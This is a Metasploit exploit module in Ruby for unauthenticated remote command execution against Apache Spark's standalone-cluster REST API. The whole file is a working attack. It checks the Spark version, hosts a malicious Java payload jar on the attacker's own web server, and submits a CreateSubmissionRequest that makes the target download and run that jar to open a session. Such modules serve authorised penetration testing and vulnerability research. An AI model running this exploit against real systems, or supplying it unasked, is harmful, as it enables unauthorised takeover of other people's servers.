## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Spark Unauthenticated Command Execution', 'Description' => %q{ This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API. It uses the function CreateSubmissionRequest to submit a malious java class and trigger it. }, 'License' => MSF_LICENSE, 'Author' => [ 'aRe00t', # Proof of concept 'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module ], 'References' => [ ['URL', 'https://www.jianshu.com/p/a080cb323832'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/spark/unacc'] ], 'Platform' => 'java', 'Arch' => [ARCH_JAVA], 'Targets' => [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 12 2017', 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION] } )) register_options [ Opt::RPORT(6066), OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10]) ] end def check return CheckCode::Detected if get_version CheckCode::Unknown end def primer path = service.resources.keys[0] binding_ip = srvhost_addr proto = datastore['SSL'] ? 'https' : 'http' payload_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{path}" send_payload(payload_uri) end def exploit fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version vprint_status("Generating payload ...") @pl = generate_payload.encoded_jar(random:true) print_error("Failed to generate the payload.") unless @pl print_status("Starting up our web service ...") Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end def get_version @version = nil res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' ) unless res vprint_bad("#{peer} - No response. ") return false end if res.code == 401 print_bad("#{peer} - Authentication required.") return false end unless res.code == 400 return false end res_json = res.get_json_document @version = res_json['serverSparkVersion'] if @version.nil? vprint_bad("#{peer} - Cannot parse the response, seems like it's not Spark REST API.") return false end true end def send_payload(payload_uri) rand_appname = Rex::Text.rand_text_alpha_lower(8..16) data = { "action" => "CreateSubmissionRequest", "clientSparkVersion" => @version.to_s, "appArgs" => [], "appResource" => payload_uri.to_s, "environmentVariables" => {"SPARK_ENV_LOADED" => "1"}, "mainClass" => "#{@pl.substitutions["metasploit"]}.Payload", "sparkProperties" => { "spark.jars" => payload_uri.to_s, "spark.driver.supervise" => "false", "spark.app.name" => rand_appname.to_s, "spark.eventLog.enabled" => "true", "spark.submit.deployMode" => "cluster", "spark.master" => "spark://#{rhost}:#{rport}" } } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/v1/submissions/create"), 'method' => 'POST', 'ctype' => 'application/json;charset=UTF-8', 'data' => data.to_json ) end # Handle incoming requests def on_request_uri(cli, request) print_status("#{rhost}:#{rport} - Sending the payload to the server...") send_response(cli, @pl) end end